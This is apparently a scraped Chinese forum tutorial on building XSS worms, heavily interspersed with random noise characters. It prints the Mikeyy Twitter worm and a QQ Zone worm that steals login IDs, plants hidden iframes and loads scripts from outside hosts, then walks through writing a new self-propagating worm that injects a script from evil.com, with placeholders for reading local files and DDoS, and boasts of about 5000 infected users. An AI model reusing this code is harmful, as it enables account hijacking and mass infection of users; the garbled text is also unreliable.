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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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3 l4 z* L# ?. Q, h9 { j1 R 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 0 o% u/ {) X1 t" g+ [: v+ y
) u' f: W; b% U7 @ 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; $ Z! c% b9 x% ~0 ?0 |6 }. \) Z
- R5 `+ n5 ], q3 l @* _+ b 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; . _3 f# o# X: L
) [9 x- c8 p9 F2 h% m- C 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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9 r1 f* C6 n/ f p 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; 9 w) Y3 U5 U% J! @( h
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24.
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3 Q2 t2 a& r2 g" T; x C/ g 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]); * w6 t" t' c6 z, W
" D# C2 S% o; `& R. S 27. " X I" n4 T3 M8 a8 x9 g8 l
, ^; g( N# m3 X: x: r$ v' P) I 28. var ajaxConn= new XHConn();
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6 \' [" e7 E6 `; `4 T- r 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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30. var _0xf81bx1c="Mikeyy"; ' }7 s; D+ w7 I) M
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31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn();
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. i, y& v9 O. c9 G( a6 Z/ J 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 6 Z# }' J0 \/ l! m. A
$ G v {/ R4 N% a: B' }
34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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4 [2 l+ R9 u1 N% }. i3 V( t 35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn();
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: t" Z' c& A! F) O 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); 6 \6 C' L2 T, b, i
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38.
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39. } ;
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40. setTimeout(wait(),5250);
$ h* B* y/ k& m: I) ]复制代码QQ空间XSSfunction killErrors() {return true;}% X: V, i! i4 D* v: @' n
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window.onerror=killErrors;: q5 K* S0 a' m- [6 J% x
4 ?9 w% V j# V4 y9 B7 h6 G- b5 R5 i: L7 w& K0 G1 @" t! Q
1 u( F. _# B8 e' `3 a+ U/ N0 {var shendu;shendu=4;( |* X( K4 U# F+ w
9 z/ X+ r6 Q6 x. ?! G( p% ^//---------------global---v------------------------------------------+ ]* @0 {* ]/ t5 N, v
0 R7 m$ I! a: d7 @, d/ {8 \; `
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";$ i( c$ r0 _5 m2 d! ~- R
7 v+ t1 W% e) _' X. s& W" W! Svar myblogurl=new Array();var myblogid=new Array();/ p r4 H9 k0 i% k5 A7 i
+ [. U2 @2 F# k) Y5 R, m! p/ ^
var gurl=document.location.href;
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var gurle=gurl.indexOf("com/");
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B: n: @) f7 k! |( z B gurl=gurl.substring(0,gurle+3);
* s7 |) |& e, x/ Z, M7 s( |
9 }; _# B0 G6 s, U- \% V var visitorID=top.document.documentElement.outerHTML;/ P5 C; l5 V7 ]% v1 y# F
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var cookieS=visitorID.indexOf("g_iLoginUin = ");2 y- b5 L( |9 J a* `
- p- m" H' N1 l( [. r- R visitorID=visitorID.substring(cookieS+14);; `9 N& q5 {, I1 F
- j) W, X2 y5 t5 c$ s cookieS=visitorID.indexOf(",");1 a2 s& F2 j- G
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visitorID=visitorID.substring(0,cookieS);
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: v( r% F+ A9 z3 C9 i! Y# x/ F% ? get_my_blog(visitorID);! e( } Q- H$ ~( R! |' Z) G6 A
* {" {! U) x! z" p( {
DOshuamy();3 A$ d; U6 F$ A$ H$ o4 Q
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. |7 I8 O% V# u1 ~5 L# c
//挂马2 @; e* s2 ?3 g( X
) B, m1 s4 e7 J8 b* qfunction DOshuamy(){
+ E5 o# u9 _3 n
+ R1 A1 ?5 L2 |( m4 |var ssr=document.getElementById("veryTitle");
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q/ X$ N8 p) R6 B- [! Rssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?$ A* D) g: T5 q( Q$ }
/ ~! e* g7 G$ c5 rfunction get_my_blog(visitorID){, q, Y! y. A! @2 n& b
; c8 H% H) B& G/ S userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL! r4 U% q" C& ^
7 y8 J# d9 u6 O" I/ o" H xhr.send();guest=xhr.responseText;( r8 O9 E) T1 y3 X) {
+ \* ^$ a. g( f1 [* v get_my_blogurl(guest); //执行这个函数
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}
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//这里似乎是判断没有登录的
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1 X$ q& h4 q) ~& F" Cfunction get_my_blogurl(guest){
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+ J& E6 e/ y8 R( c3 ?' ` var mybloglist=guest;
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) r* t/ F# X n var myurls;var blogids;var blogide;
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g8 U9 D/ B2 P, p2 Z for(i=0;i<shendu;i++){. I$ r' a9 X4 E V# c0 h* U9 d
, P+ \, o$ F1 f& O myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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" {( g3 ?$ Q0 I/ |+ ? if(myurls!=-1){ //找到了就执行下面的6 z6 E# c8 J G/ j7 t5 a
! ?* C* n& D+ {2 _" z* ^- w+ d8 F mybloglist=mybloglist.substring(myurls+11);" x/ Z C6 r9 e& [- t( ^
& z# L8 L( C# _ D6 L- x& Q3 Q3 g myurls=mybloglist.indexOf(')');3 `" O) w$ x$ t |, O4 d
% m% ^9 i! U8 ^ myblogid=mybloglist.substring(0,myurls);
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}else{break;}
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- m( A. w( E: ?# `get_my_testself(); //执行这个函数' l2 [% u: x' k k9 W, b
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}
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u# M2 Y+ P/ z: J" ^: I
9 p+ ^/ b4 S4 I* S: v5 W* {/ m//这里往哪跳就不知道了
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9 G* w& i4 ^4 ~' Kfunction get_my_testself(){9 b" T& p6 S; f
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for(i=0;i<myblogid.length;i++){ //获得blogid的值9 H. Q; e& t- v/ n, b
3 q$ K4 U) J$ c! P. u% z) ^0 n$ s
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();2 P4 ^) `+ m- Z' c! N2 I {, h
- B q- o! x% ], N0 v3 W var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象/ l4 O- Z% b9 @3 g
1 t+ a" Q0 ]+ `8 i# I, q8 m: @2 Y
if(xhr2){ //如果成功
6 ?5 H" @9 A# N8 U* w2 z, E# R+ n- \8 q3 V8 J" ^
xhr2.open("GET",url,false); //打开上面的那个url/ p3 s6 N% r7 ^, d
m `) E8 c a2 Q) S7 L& u
xhr2.send();
& v! @4 Y- L/ z$ d! q. p- o
5 P8 W! s! v. ?2 a5 j5 r# z guest2=xhr2.responseText;
& @# E: x6 z0 q6 R
0 u6 \* d% C2 V* E var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
$ J' h& p3 U$ q- b: o5 x; t3 J5 _0 Q' E8 g1 `% U# Q3 x
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
2 t# R/ }1 C2 U( z; `! z0 [2 Y# i' k* |9 `# x" C0 f& L
if(mycheckmydoit!="-1"){ //返回-1则代表没找到0 G# H& E: Q" C# A7 _
( h% E+ |$ W2 F% S6 s2 p ? targetblogurlid=myblogid; # J# ]; L% P3 w( u5 b; h
5 b1 j, H, X- q0 T6 Z# a- R
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
6 B: |5 R2 c+ A7 S( V. @( W/ f* p. b% Y6 Z
break;) n, v8 j4 H0 f* P8 h
9 c: G0 p E% }% C! l$ J }
" Y4 ]' K' Y) }: V/ k: s5 x9 z+ n0 F( q! |
if(mycheckit=="-1"){3 S( e) X, r9 m1 I0 F4 Z
" m, ?% J) a0 y
targetblogurlid=myblogid;) E$ x! f7 y' F( @2 A% |
- B. y! t( M7 a7 t add_js(visitorID,targetblogurlid,gurl); //执行它) W/ }/ S2 \' g
1 l* |) h' {& B& h; i4 s$ h- I& F# s break;
6 S5 Y' Q7 W( L' B% A m* E+ W( |* b0 `# \3 m4 t* q2 J0 i
}, j* n1 `3 g4 p
8 o1 y3 L7 q4 j& O- X
} " Q1 d; l4 [5 N! \; _8 y2 P. M( e( u
9 N: {+ B+ J6 }- S$ M3 P; u}
7 v( D5 m: a3 e3 f0 D% F, B9 x1 l# I3 K/ n u, v+ t" Y- _
}% c! s: f* W& k% k. z4 j
$ W( \8 Q" f7 Z- }3 s
4 Q8 R$ W* T$ [7 O; w# W3 C6 N0 x+ _/ P
//-------------------------------------- P/ B# h* c+ A' g2 f2 B
. K1 l! }6 x" t# Q1 T; M//根据浏览器创建一个XMLHttpRequest对象" V+ d( Q2 g2 B7 M/ [! M
. Z" H! a5 P& N7 c( yfunction createXMLHttpRequest(){
3 P% r5 h& `8 G3 O( \: m0 P6 D9 \4 V" V
var XMLhttpObject=null; a/ b6 R6 _9 [, C4 s
' q( B& N) G$ I! H if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
6 k! f" [0 [. _+ [/ Y# o; ~* `- \% Y0 i$ h
else 9 h/ r! o* |7 Z4 s( q7 I0 \9 A
) D+ O' Q3 x* c { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; 0 s6 l+ p. A/ z# `, Y/ n
9 Z1 f! M& B$ f% ] for(var i=0;i<MSXML.length;i++) 5 q! e; p. b9 ~. W5 n
" Q ?6 s' R- i! k
{ ' v* e; @# W+ @' J* [
) ]: D/ o W* |8 P# B$ M try
- k2 g, c5 f- j. R* x7 e# r
8 K* r5 l" w# x {
5 E) n/ |+ d, x' x z2 n' t- o5 q. W/ G, T8 t$ @
XMLhttpObject=new ActiveXObject(MSXML); & Q+ i" h2 r' J/ _4 |* n
8 n# X# D9 L: T$ g break; * J7 N2 z2 h& v$ i
; q+ p, `/ X$ I
} 0 ] C! h7 ~$ B2 Z& j
% Z& y$ n) P! h4 s& k
catch (ex) {
, i, m, E; j/ R" A6 G
8 h3 @% W1 y3 v& U7 } } 8 ]( n3 @" q7 p8 D
" j4 `5 A, S' {
}
4 N3 ? Q% a2 v, G$ B1 x" _& [4 h
}; u( U& ?( C3 C
/ V r* G/ j1 f9 y3 {0 H
return XMLhttpObject;$ \: C% T) l/ o! j& M
, \. X' W6 G! Q1 Z+ m2 I; g}
1 e. B; G& W u9 N Q: v1 K
7 H, n: P* U( K- }- b2 Y
+ x, a' U5 |4 y4 H9 Q8 F/ M" L% E% ~ V B/ U( j2 [
//这里就是感染部分了& Q: _# z! h0 B
9 H9 D4 P: w& M" K( B& N6 Lfunction add_js(visitorID,targetblogurlid,gurl){
5 s" k& x8 L! R+ t9 T7 h
) h1 `. w+ Z0 j7 j3 @ |var s2=document.createElement('script');
% l- Y& n6 R Q& v, | l" P- d1 u- Y) O* A1 Q$ F; R5 u
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
+ N9 E! S% Z2 A: I5 T y4 {* v# m& n4 p) j, L6 E
s2.type='text/javascript';
2 b* J8 d& b6 U. J
6 F$ k% R6 F* V- ^document.getElementsByTagName('head').item(0).appendChild(s2);- ]7 S. Q8 i; i, P% ?( X, s1 l0 e
9 \2 L. D4 s4 d$ [9 `* g& K}
6 X2 |8 n1 ]) z# m8 q
2 O" a8 m4 ]4 c, R5 a; M" P0 @8 z2 \; Y; ]
* P. o U: m* v. {0 j9 U6 j
function add_jsdel(visitorID,targetblogurlid,gurl){" Y9 {! v' p2 Z$ {1 d6 _; g* h
3 O0 D4 j2 `9 Z% n# @" h
var s2=document.createElement('script');
/ G U) ]5 p* z, `, h! G# p# y: ]9 Q5 ~8 z6 N7 q
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
5 |( J- _7 @# q/ r" F# u* s+ [6 n/ y7 v D
s2.type='text/javascript';( {% ]9 V6 t7 Q5 }/ \
0 e1 a+ @; Z. m& N; k. B' odocument.getElementsByTagName('head').item(0).appendChild(s2);. m0 J7 N. g5 Q, C" {' `8 l
. P2 S. p0 x% _
}7 C+ S O8 o2 f1 v$ o, ]# G
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:7 G, h/ v$ Z, Z4 G% V6 y
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.), f4 J- H0 a# x; a# E% `0 x0 M
( a# y3 ?) [# K% `7 W2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
+ P$ g2 G8 e# h5 D* V
! `+ {# u( h3 a; [综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~$ f1 G: [" ]. G9 w$ Y4 C& F+ A( P
0 }4 ~6 F: J" h" D- g7 {+ p" g- ]4 O
\5 _$ \4 F# {$ H5 w% y3 E
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.0 d/ T% x" i2 `4 V& A
4 b% P! P c0 w S9 n首先,自然是判断不同浏览器,创建不同的对象var request = false;
6 Z" p' @# S1 U B7 `3 {( V `9 s
" }% [ t' Z( f& }if(window.XMLHttpRequest) {
N/ t, H6 b0 ^6 `
6 |7 I1 _# a" z! Drequest = new XMLHttpRequest();% x b/ A* k! e+ q& k
- O) Y9 w1 o! M5 c& aif(request.overrideMimeType) {
) T6 S. }' Y( r9 d7 Q( _, {# P
, Y- @$ q+ G0 V: D" yrequest.overrideMimeType('text/xml');+ V) C6 q v* n7 Y) j" j
1 O9 q6 S* S$ d+ Y}
Q: l4 g% Z R/ @8 H
% U7 G/ q/ `/ o: ]6 E0 _- t' ?} else if(window.ActiveXObject) {
4 X; h) H/ S, [! P0 M9 G& E6 |
$ q, A7 p7 J* x) q( o. M% |- svar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];' D% O* y1 i4 Y8 n8 F" R
6 Y$ b2 G$ G( D2 ?6 p
for(var i=0; i<versions.length; i++) {
7 y* [. E/ l% \; Q/ E9 n# c. }2 ~- S9 {0 p. l
try {+ S* V. z' f2 x
) F' h) l, x/ _) \6 x2 r" Arequest = new ActiveXObject(versions);8 K; x) `2 V4 ]1 |) L4 ~0 R6 c
; w6 n# H: {& M0 o# {& K} catch(e) {}
% s4 Z+ p9 Q/ ]: i
2 W* ~2 p+ g% u/ d0 Z: F}
: G, p; ]8 ~$ @ u0 j+ U9 \+ R; Z) _
}1 |+ Z$ p, Y# D+ |' e% o. W8 X6 @( {
# G$ B s7 M: s7 w/ O! H" b$ `xmlHttpReq=request;
. `) B6 p1 N2 U: a+ i; b: }复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
8 ~; x; a* T: a4 n2 _& C# A- u& O/ D1 o/ v7 |0 `- M3 m" g
var Browser_Name=navigator.appName;
7 Y1 L% r4 g3 v6 L) W, y1 D7 d0 g2 O3 r/ @5 O
var Browser_Version=parseFloat(navigator.appVersion);; E) l/ ~' ?% f) }
% C( o( t% X" t# `$ u$ A
var Browser_Agent=navigator.userAgent;
3 D7 X1 S4 B6 f/ v1 o' s: E+ ?9 s" R* y2 Q( ?, d
& b a C1 e! Z9 P
0 J8 S1 g2 d+ W6 k var Actual_Version,Actual_Name;
8 Z$ E- F7 S/ H% R4 n6 ]; l, N0 G, P8 Y( ?4 }6 Y) E6 `: P
- b) ?! V2 u+ z1 h* U
$ @8 n" m2 E/ V3 v var is_IE=(Browser_Name=="Microsoft Internet Explorer");6 T3 R; `, D3 q
! T9 c" H/ w `
var is_NN=(Browser_Name=="Netscape");2 ]0 ]) s: E. a, p
5 @+ h& ^$ J. o9 k) Y S
var is_Ch=(Browser_Name=="Chrome");
6 u& _0 O2 n. o0 W
5 [4 {+ ]1 J3 K. i8 C& v% w' Q& d% D+ e
+ g H/ n) a1 M- P: x* Z
$ |% G% N1 u/ M, I) Y0 x. z if(is_NN){; O& N) c6 K7 d) U. {
& E" h& C' `* W8 y
if(Browser_Version>=5.0){
* x0 u& e0 |0 B9 l! }7 g( A. q8 _1 C7 a
var Split_Sign=Browser_Agent.lastIndexOf("/");" O. { ?3 k/ m- C! v; H- p
: m# I" }' q0 D' w) j# u8 E
var Version=Browser_Agent.indexOf(" ",Split_Sign);. N7 ^( W6 O/ B
& x& a( ^* j1 ^3 U# |
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
9 U6 W* M6 a% u \# K3 t" Z+ f Q4 m q) V
, F4 t6 P/ E8 T# Z
. ^2 \# k8 t! c% {
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
! y+ k3 K1 D$ V \
$ }- z$ ]- C: n) T Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
: J% D+ e6 s7 @( i; D
. W9 x2 M ~9 s# w# u, v% } }0 v) J/ `! o9 m' M' f
. R. X/ E2 y Y; K else{
% a6 k$ A+ }; z5 H2 s5 N/ R4 `) C
+ D- o; S+ O I# m. {* A Actual_Version=Browser_Version;, c- C( S) u7 |& b# B/ J+ E- O8 a
$ m4 ]4 w/ i" u( P9 l
Actual_Name=Browser_Name;
& }" ~& ?4 L7 H' k( F8 Q$ `
* M" `! r' a$ h- g9 _ }1 `' ?. b% x' o8 u* r
- ?2 A9 u3 M3 @. Z7 v/ s }# ` v* v$ ^5 e. R4 g
8 ]% m0 ]5 j; G
else if(is_IE){% z! d! t! P/ ?/ ]4 C, r# D+ h
b. _+ _0 m, W. {7 c$ n8 }- B var Version_Start=Browser_Agent.indexOf("MSIE");. _: Y9 L" x, O2 y
, n% J: u6 B, z. X: q var Version_End=Browser_Agent.indexOf(";",Version_Start);# H: L" X7 R4 I8 G. e. U5 ~: Z
, p1 v$ o( | \. L
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
8 C0 Z8 n0 \7 Z1 Z7 a5 B* Z2 O& X/ _# |( ~
Actual_Name=Browser_Name;
, z7 f* d: W; m5 Z3 ?! R0 q
( n% F1 @9 i- u% J P' ]9 n) h 2 k$ x& [& \3 l9 F
: b) |: I) G; o$ |* f, k& ]7 B$ e
if(Browser_Agent.indexOf("Maxthon")!=-1){) X( t, k" D$ |2 f: X$ l
* u; G e0 {9 E4 M( ~ Actual_Name+="(Maxthon)";
$ z% [# o$ l2 @+ V1 M! d0 H9 g7 z
}
& l, Y/ d8 K/ g W, q1 ~+ C9 t
) L9 r r2 r9 z( d4 }- n+ { t else if(Browser_Agent.indexOf("Opera")!=-1){
! T( ~: I4 c; R$ M* Q
$ R* r1 ?: u/ ?- S7 Z: C! Y3 M Actual_Name="Opera";$ r; X) R! c1 M* k$ t% K
) ^/ f6 y' f$ b/ N- I& ^ var tempstart=Browser_Agent.indexOf("Opera");: }+ Z$ R! F/ N/ b
- X* x* g# ]5 j1 a1 R' L7 |% p
var tempend=Browser_Agent.length;
/ M- Z+ d7 }0 O- }* b @7 L* I \: e* ]; [9 A& x
Actual_Version=Browser_Agent.substring(tempstart+6,tempend): \/ x2 w% p6 F6 c3 d; w6 N
& R" L4 e4 k0 c) r' K
}# E. z8 B+ _/ [+ w1 z9 I+ J
( t/ e. |% T% w0 k3 [5 _$ g
}
! N* \8 f3 i! B) t' v; i! ?5 W7 u, i7 ~! T
else if(is_Ch){! P" I7 I# _1 r0 ? g
$ N6 D9 y/ P3 V( @: Y s7 p" N var Version_Start=Browser_Agent.indexOf("Chrome");9 p5 y- k( F# z: v0 i* R- B
: u2 l; t' x0 Q/ p; n* s) w
var Version_End=Browser_Agent.indexOf(";",Version_Start);6 Y" a9 [3 Q! p4 d% F" r
; y. p1 p7 D6 c3 D1 K/ k, x Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)- z2 C2 W4 C# C1 N+ o) z
' w: ~1 t+ M) s, w- V4 A( r9 n
Actual_Name=Browser_Name;2 D7 O' [( N! j2 O& w* ^
1 y+ ^1 W& [3 _& T0 |- D2 b
7 A' a4 n0 @! u; q; p8 u9 u O3 f8 @& o. \: q8 Y8 _
if(Browser_Agent.indexOf("Maxthon")!=-1){3 q) N k! |* m6 u# W F
7 h8 {2 p( y- i4 H) s) f
Actual_Name+="(Maxthon)";2 {, Y* |8 z1 a3 t/ i6 ^
7 R& d, O5 J$ e. E# Z2 D' W7 \ } {- I. A+ a. K) a6 V3 a
+ j4 c/ k& T; i9 C) s! T' u else if(Browser_Agent.indexOf("Opera")!=-1){
* Z* }6 S0 S, @3 o r( n3 X( y
9 M2 J, K4 D6 ~( Y" `3 Z+ @7 P) E Actual_Name="Opera";
% l( D/ l& w' D" A( [
. ^+ \* @- ~3 C1 ? var tempstart=Browser_Agent.indexOf("Opera");5 l8 a* G. A; F |% ], t
, M$ T# D8 t" z) o0 L4 L
var tempend=Browser_Agent.length; [2 e+ x4 f0 a( \% W+ U' ~
1 e" c& U: W6 B0 H8 d
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
( C2 |' k9 G, ^. |' Z; b4 V7 x0 S; i* K/ h* Y
}
% B( K/ N0 @3 A/ k4 I$ d. k( |: V, U8 a+ l$ V$ R) I2 m8 p% L! y# `
}3 ^% ]; V5 Q0 _2 c
6 X7 |7 @, a: w; S% E* |
else{
5 o0 V- y& I T# @- R0 |
' G% ~7 r$ A( a0 D9 ]& y6 c Actual_Name="Unknown Navigator"
2 u* |2 i' f! _+ e# x6 m$ O6 F
4 F0 ?5 z/ u; H3 B' G7 P* l Actual_Version="Unknown Version"
0 ^# r2 ]2 T* [$ u/ q& T
7 \7 j3 W# H2 q" o N }
, Q% r: T# d: S/ c! M' ] ?$ @! |6 r; ^1 m) G0 c
$ h S" B9 p2 I: i. E) s
# [8 J4 s: _% K; k5 O1 z5 b$ ^ navigator.Actual_Name=Actual_Name;3 v- Q) N; r# i
8 P' L- J, q& v navigator.Actual_Version=Actual_Version;; X/ h# d4 q/ n" t7 f7 C
% A( \1 w. m6 L: r6 q & I) V. W. p+ g3 M1 r ?0 a) g
9 V! D" P7 L( l+ a
this.Name=Actual_Name;
: j# Y7 {/ j$ e" |. @
+ k( R- e+ W& S5 Z" [9 i this.Version=Actual_Version;
4 B) \ A! _) q9 q2 h, v; p" g+ S
}( d9 S8 j- [2 U& E3 n9 t
1 P& b! N) L3 ]; e' I$ h# f browserinfo();
8 ?) c6 q; a2 o
' ?3 O8 M$ ^4 g/ Q+ t) R+ l8 B" p# z if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
. }) @" U' ~: c9 {
3 i( ]) j% N8 ]" \$ D0 S if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
. G) \1 U8 {/ T9 i V! e- a0 C( q: M, [" ]! |+ k
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}( E& N0 \+ j8 T5 z+ [0 X
7 J) T$ V. m% ~. T. y if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
4 p" |- ?4 v3 X- {# O9 e复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
2 |- c# d' L2 k* o复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码$ h; H$ }) X+ k' x% Q+ b
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.; C' k# U$ r0 O5 B6 b
) M* N/ Y6 [1 K1 ^xmlHttpReq.send(null);
# z- F# @0 i+ k7 h8 }
4 J3 u' x9 n2 f4 s) x; i f4 }var resource = xmlHttpReq.responseText;
$ j+ \/ a9 j# W, H D7 E2 L- n/ e+ O& x
var id=0;var result;
% d! j9 N% t6 d' x4 _# I
" {% y2 t) P O5 ]: e- Yvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
: f2 s# N3 [/ d
) Q% M( T: k: }; Lwhile ((result = patt.exec(resource)) != null) {
0 [) s& y8 }8 n7 t( T0 D' t3 P$ ? M3 u7 I
id++;" D! U, J) j. V+ x# i E2 b. _
* e% p% o+ d; d9 B, y4 ^}
M4 A4 f8 D9 P1 u8 f. K4 G复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.! i8 Y' J9 m$ c( O \! }" F
# d& u: j* ^4 m0 w& O* N
no=resource.search(/my name is/);5 x$ V9 j9 C x; }4 H, W/ t9 u3 e& r
- l6 z+ I2 B8 y
var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
) a; { ]* S9 z' l, D5 }
( z: s9 c% @6 Qvar post="wd="+wd;
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. @9 y$ b, q& K4 `+ @xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.& \9 o7 ]6 k' t/ {2 ?
2 d: s5 ?8 G: G. }, kxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");. q+ T) ~* X" M: ~! S+ A
5 x5 A+ g/ [* M% R0 rxmlHttpReq.setRequestHeader("content-length",post.length);
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; w7 `& _0 X, n/ @xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);
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}
& q R! {# w9 H) R复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方. R' ~9 x$ z& i2 j$ O' e
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得. e! @0 f0 s1 g# t
. B" Q, P c9 |: H- yvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.! g* u, b4 C2 U3 \
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var post="wd="+wd;
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* ^* q( }4 z# O# T$ g8 T! AxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);7 p: m5 k, W# T* ?7 U/ ^. W9 K7 W
- C3 _- ?0 z5 LxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");) @7 R) ?3 z; g) S m3 v
" ]9 q+ ~! W& `/ m n" J5 W6 RxmlHttpReq.setRequestHeader("content-length",post.length);
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) @: R. ~% e% _7 D" V. h7 a/ nxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");- a3 z8 v, z- b
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xmlHttpReq.send(post); //把传播的信息 POST出去.; I% @8 c3 ^2 b) C4 O0 a" M# G
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------3 b0 D$ C2 d {9 T0 H4 J
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.4 X& J" V, |( t2 G- E) }9 G
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
! X) C7 ^) {( {" i F操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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8 H* D" Z7 G9 C" U9 ^- `本文引用文档资料:
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; D; @* o" n) u* d3 y' ["HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)* Y( z9 m& F) V! v3 U* {
